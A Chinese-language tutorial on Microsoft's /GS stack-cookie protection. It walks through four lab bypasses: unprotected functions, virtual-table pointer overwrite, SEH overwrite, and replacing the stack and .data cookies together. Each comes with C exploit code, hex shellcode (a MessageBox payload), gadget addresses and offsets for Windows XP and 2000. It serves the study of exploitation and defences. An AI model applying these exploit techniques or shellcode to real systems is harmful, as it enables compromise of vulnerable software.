栈中的守护天使:GS

[toc]

GS 安全编译选项的保护原理

实现版本

针对缓冲区溢出时覆盖函数返回地址这一特征,微软在vs2003(vs 7.0)及以后的版本中,默认启用了 GS 编译选项。Project→project Properties→Configuration Properties→C/C++→Code Generation→Buffer Security Check 中设置GS。 image-20220503195855795

GS 是如何保护栈的呢?

GS 编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的溢出。

  • 在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,这个随机数叫 " canary “。在IDA中反汇编,这个随机数会被标注为 “Security Cookie”。
  • Security Cookie 位于 EBP 之前,系统将在 .data 的内存空间中放一个 Security Cookie 的副本。
  • 当栈发生溢出时,先淹没 Security Cookie ,然后才会淹没 EBP 和返回地址。
  • 函数返回前,系统会先执行 Security check 来进行安全验证。
  • 在 Security Cookie 的过程中,
  • 系统将比较栈帧中原先存放的 Security Cookie 和.data 中副本的值,如果两者不吻合,说明栈帧中的 Security Cookie 已被破坏,即栈中发生了溢出

image-20220503205944714

  • 当检测到栈中发生溢出时,系统将进入异常处理流程,函数不会被正常返回,ret 指令也不会被执行。

image-20220503210041230

在安全和性能间平衡的GS

额外的数据和操作会使系统性能下降,为了降低对性能的影响,编译器在编译程序的时候并不是对所有的函数都应用 GS,以下情况不会应用 GS

  • 函数不包含缓冲区。
  • 函数被定义为具有变量参数列表。
  • 函数使用无保护的关键字标记。
  • 函数在第一个语句中包含内嵌汇编代码。
  • 缓冲区不是 8 字节类型且大小不大于 4 个字节。

主动加GS的安全标志

有例外就有机会,我们可以利用这些未被保护的函数来执行栈溢出。当然微软也发现了这个问题,在 Visual Studio 2005 SP1 起引入了一个新的安全标识:

#pragma strict_gs_check 

这个标识能对任意的函数添加 Security Cookie。

#include"stdafx.h"
#include"string.h"
#pragma strict_gs_check(on) // 为下边的函数强制启用 GS
intvulfuction(char * str)
{
	chararry[4];
	strcpy(arry,str);
	return 1;
}
int_tmain(intargc, _TCHAR* argv[])
{
	char* str="yeah,i have GS protection";
	vulfuction(str);
	return 0;
}

防覆盖的变量重排技术

除了在返回地址前添加 Security Cookie 外,微软还使用了变量重排技术。在编译时,将字符串变量移动到栈帧的高地址,用以防止该字符串溢出时破坏其他的局部变量。同时还会将指针参数和字符串参数复制到内存中低地址,防止函数参数被破坏。

image-20220503211230179

  • 系统以.data 节的第一个双字作为 Cookie 的种子,或称原始 Cookie(所有函数的 Cookie都用这个 DWORD 生成)。
  • 在程序每次运行时 Cookie 的种子都不同,因此种子有很强的随机性
  • 在栈桢初始化以后系统用 ESP 异或种子,作为当前函数的 Cookie,以此作为不同函数之间的区别,并增加 Cookie 的随机性
  • 在函数返回前,用 ESP 还原出(异或) Cookie 的种子

若想在程序运行时预测出 Cookie 而突破 GS 机制基本上是不可能的。

微软内部对GS的看法

  • 修改栈帧中函数返回地址的经典攻击将被 GS 机制有效遏制;
  • 基于改写函数指针的攻击,如第 6 章中讲到的对 C++虚函数的攻击, GS 机制仍然很难防御;
  • 针对异常处理机制的攻击, GS 很难防御;
  • GS 是对栈帧的保护机制,因此很难防御堆溢出的攻击。

本章实验环境配置

为了更直观的反映出程序再内存中的状态,实验编译中禁用优化选项

image-20220502194125429

利用未被保护的内存突破 GS

函数 vulfuction 不包含4字节以上的缓冲区,所以即使 GS 处于开启状态,这个函数也不受GS保护。

#include"stdafx.h"
#include"string.h"
//#pragma strict_gs_check(on) // 为下边的函数强制启用 GS
int vulfuction(char * str)
{
	char arry[4];
	strcpy(arry,str);
	return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
	char* str="yeah,the fuction is without GS";
	vulfuction(str);
	return 0;
}

用 IDA 对可执行程序反汇编,vulfuction 返回前(指令 retn)没有 security cookie 验证操作。 image-20220503193601251

对比,强制启用GS后,#pragma strict_gs_check(on),retn 前对 Security Cookie 进行了验证。 image-20220503193845557

覆盖虚函数突破 GS

如何利用虚函数绕过 GS机制?

**绕过GS机制思路:**程序只有返回时才会去检查 Security Cookie,所以只要在程序检查 Security Cookie 前劫持程序流程,就能对程序的溢出,而 C++ 虚函数恰好给我们提供了这样的一个机会。

// exp_2.cpp : Defines the entry point for the console application.
//

#include"stdafx.h"
#include"string.h"
class GSVirtual {
public :
		void gsv(char * src)
		{
				char buf[200];
				strcpy(buf, src);
				//__asm int 3
				vir();
		}
		virtual void vir()
		{
		}
};
int main()
{
	GSVirtual test;
	test.gsv(
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\0"
	);
	return 0;
}

/*
		
		"\xf6\x2a\x99\x7C" //address of "pop pop ret"
		"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
		"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
		"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
		"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
		"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
		"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
		"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
		"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
		"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
		"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
		"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
*/

实验思路和代码简要解释: (1)类 GSVirtual 中的 gsv 函数存在典型的溢出漏洞 strcpy 。 (2)类 GSVirtual 中包含一个虚函数 vir。 (3)当 gsv 函数中的 buf 变量发生溢出的时候有可能会影响到虚表指针,如果我们可以控制虚表指针,将其指向我们的可以控制的内存空间,就可以在程序调用虚函数时控制程序的流程。

推荐使用的环境备 注
操作系统Window XP SP3
编译器Visual Studio 2008
编译选项禁用优化选项
build 版本release 版本

说明: shellcode 中头部的 0x7C992af6 为“pop edi pop esi retn”指令的地址,不同版本的系统中该地址可能不同,如果您在其他版本中进行实验,可能需要重新设置此地址。

为了能够精准地淹没虚函数表,我们需要搞清楚变量buff与虚表指针在内存中的详细布局。

变量与虚表指针在内存中的布局

当函数 gsv 传入参数的长度大于 200 个字节时,变量 buff 就会被溢出。先将 test.gsv 中传入参数修改为 199 个“\x90” +1 个“\0”,然后用 OllyDbg 加载程序,在执行完 strcpy 后暂停。 image-20220503215213232

红色框:虚函数表地址

紫色框: 0012ff68 Security Cookie 0012ff6C EBP 0012ff70 返回地址 0012ff74 参数

黑色框:函数gsv中变量等其它信息

从图中可以看出,buf 变量末尾的 ”\0“ 在0012ff64位置,而虚表指针在 0012ff78位置,相距 20个字节。

淹没虚表指针后如何控制程序的流程?

虚函数的调用过程:程序根据虚表指针找到虚表,然后从虚表中取出要调用的虚函数的地址,根据这个地址转入虚函数执行。

image-20220503221539056

我们需要做的就是将虚表指针指向我们的 shellcode,以劫持进程,为此还有几个关键问题需要解决。

关键问题

如何让虚表指针刚好指向 shellcode 的范围?

变量 buff 在内存中的位置不固定,但是原始参数(0x00402100 即作为调用参数的shellcode)是位于虚表(0x004021D0)附近,所以我们可以通过覆盖部分虚表指针的方法,让虚表指针指向原始参数,在本实验中使用字符串结束符 “\0” 覆盖虚表指针的最低位即可让其指向原始参数的最前端。(由于虚函数列表指针为D0,shellcode参数的地址为00,故而覆盖虚函数最后一个字节即可)

执行完call eax后如何返回 shellcode ?

虚表指针指向原始参数中的 shellcode 后,我们面临着一个 call 操作,在执行完这个 call 后还必须可以返回 shellcode 内存空间继续执行。您可能首先会想到 jmp esp 跳板指令,但是很不幸,这个指令在这行不通,如下图所示 image-20220503222910402

我们的原始参数不在栈中!无法跳回 0x00402100 的内存空间继续执行了。此时程序已经完成 strcpy()字符串复制,shellcode 已经被复制到变量 Buff 中了,所以我们可以转入 Buff 的内存空间继续执行 shellcode。Buff的地址放在 0x0012FE8C 中,位于ESP+4位置,由于call eax 操作后会将返回地址入栈,所以我们需要“pop pop retn”(位于内存 0x7C992af6 处)指令作为跳板,才能进入 Buff 中(0012FE9C)执行 shellcode。

image-20220503232435038

shellcode结构: image-20220503231840205

将构建好的shellcode重新填充到程序中,运行结果如下图所示。 image-20220503233229764

攻击异常处理突破 GS

GS 机制并没有对 S.E.H 提供保护,换句话说我们可以通过攻击程序的异常处理达到绕过GS 的目的。

**思路:**首先用超长字符串覆盖掉异常处理函数指针,让它指向shellcode,然后想办法触发一个异常,程序就会转入shellcode,那么我们就可以通过劫持 S.E.H 来控制程序的后续流程。

#include<stdafx.h>
#include<string.h>
charshellcode[]=
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    "……"
    "\x90\x90\x90\x90"
    "\xA0\xFE\x12\x00"//address of shellcode
	;
void test(char * input)
{
    char buf[200];
    strcpy(buf,input);
    strcat(buf,input);
}
void main()
{
	test(shellcode);
}

对代码简要解释如下: (1)函数 test 中存在典型的栈溢出漏洞 strcpy 。 (2)在 strcpy 操作后变量 buf 会被溢出,当字符串足够长的时候程序的 S.E.H 异常处理句柄也会被淹没。 (3)由于 strcpy 的溢出,覆盖了 input 的地址,会造成 strcat 从一个非法地址读取数据,这时会触发异常,程序转入异常处理,这样就可以在程序检查 Security Cookie 前将程序流程劫持。

推荐使用的环境备 注
操作系统Windows 2000 SP4
编译器Visual Studio 2005Windows 2000 最高支持 VS2005
编译选项禁用优化选项
build 版本release 版本

说明:为了不受 SafeSEH 的影响,本次实验需要在 Windows 2000 上进行。此外, shellcode 的起始址可能需要在调试中重新确定。

image-20220504220017173

找出shellcode和S.E.H的位置

先用一段正常长度用 x90 填充的 shellcode,通过 x90 找出栈帧中shellcode和S.E.H的位置。

shellcode的位置:0012FEB0 image-20220504230718803

最近的S.E.H的位置:0012FFB0+4,因为S.E.H被链入了双向循环链表,所以有两个指针 image-20220504231535857

所以最后shellcode的组成内容为: image-20220505002556837

我这里编译时,由于运行库kernel32.dll缺少IsWow64Process,导致无法执行。 image-20220505002801083

原本应该会弹出 failwest 对话框。

同时替换栈和.data 中的 Cookie 突破 GS

**思路:**既然Security Check Cookie 是同时检查.data和栈中的 Cookie是否一致,那我们只要保证溢出后栈中的 Cookie 与.data中的一致,就让验证成功。

  • 猜测 Cookie 的值。
  • 同时替换栈中和 .data 中的 Cookie。

因为Cookie的生成具有很强的随机性,所以猜测几乎不可能,就只能替换了。

#include<stdafx.h>
#include<string.h>
#include<stdlib.h>
charShellcode[]=
    "\x90\x90\x90\x90"//new value of cookie in .data
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor ESP
    "\x90\x90\x90\x90"
    "\x94\xFE\x12\x00"//address of Shellcode
    ;
void test(char * s, int i, char * src)
{
    char dest[200];
    if(i<0x9995)
    {
        char * buf=s+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    test(str,0xffff2fb8,Shellcode);
}

对代码简要解释如下。 (1) main 函数中在堆中申请了 0x10000 个字节的空间,并通过 test 函数对其空间的内容进行操作。 (2) test 函数对 s+i 到 s+i+3 的内存进行赋值,虽然函数对 i 进行了上限判断,但是没有判断 i 是否大于 0,当 i 为负值时, s+i 所指向的空间就会脱离 main 中申请的空间,进而有可能会指向.data 区域。 (3) test 函数中的 strcpy 存在典型的溢出漏洞。

表 10-5-1 实验环境

推荐使用的环境
操作系统Windows XP SP3
编译器Visual Studio 2008
编译选项禁用优化选项
build 版本release 版本

说明: shellcode 的起始地址和异或时使用的 EBP 可能需要在调试中重新确定。

将 shellcode 赋值为 8 个 0x90,然后用OD加载程序。

**生成Security Cookie过程:**程序从 0x00403000 处取出 Cookie 值,然后与 EBP 异或,最后将异或后的值放到 EBP-0x4 的位置,作为此函数的 Security Cookie。 image-20220505232642259

**函数返回前的校验过程:**是生成Security Cookie的逆过程,程序从 EBP-0x4 的位置取出值,然后与 EBP 异或,最后与 0x00403000 处的 Cookie 比较,相等,则通过校验,否则转入校验失败的异常处理。 image-20220505232843263

本实验的关键点是: (1)在 0x00403000 处写入我们自己的数据。我们向 test() 中的 i 传入一个负值,让 str 移动到 0x00403000,从而修改 .data 中的Cookie。 (2)向栈中的 Security Cookie 写入相应的数据。我们用 dest 字符串申请了 200个字节的空间,可以通过溢出 dest 将栈中的 Security Cookie 修改为 90909090 与当前 EBP 异或的结果。

经调试发现,dest的起始位置在 0012FE90,Security Cookie 位于 0012FF60(=EBP-0x4),EBP 位于0x0012FF64。

布置 shellcode ,计算 i 的值

malloc 申请的空间起始位置为 0x00410048 (将程序中断在 malloc 之后就能看到),这个位置相对于 0x00403000 处于高址位置,通过计算,应将 i 设置为 0xffff2fb8。 image-20220505232308904

shellcode 的长度为 216 个字节,组成如下: image-20220505205054247

运行结果: image-20220505191823133

总结

以上介绍了几种绕过 GS 的典型方法:

  • 利用未被保护的内存突破 GS
  • 覆盖虚函数绕过 GS
  • 攻击异常处理程序突破 GS
  • 同时替换 栈和.data 中的Cookie 突破 GS

GS未能完全消灭溢出,但是它使得溢出条件变得异常苛刻。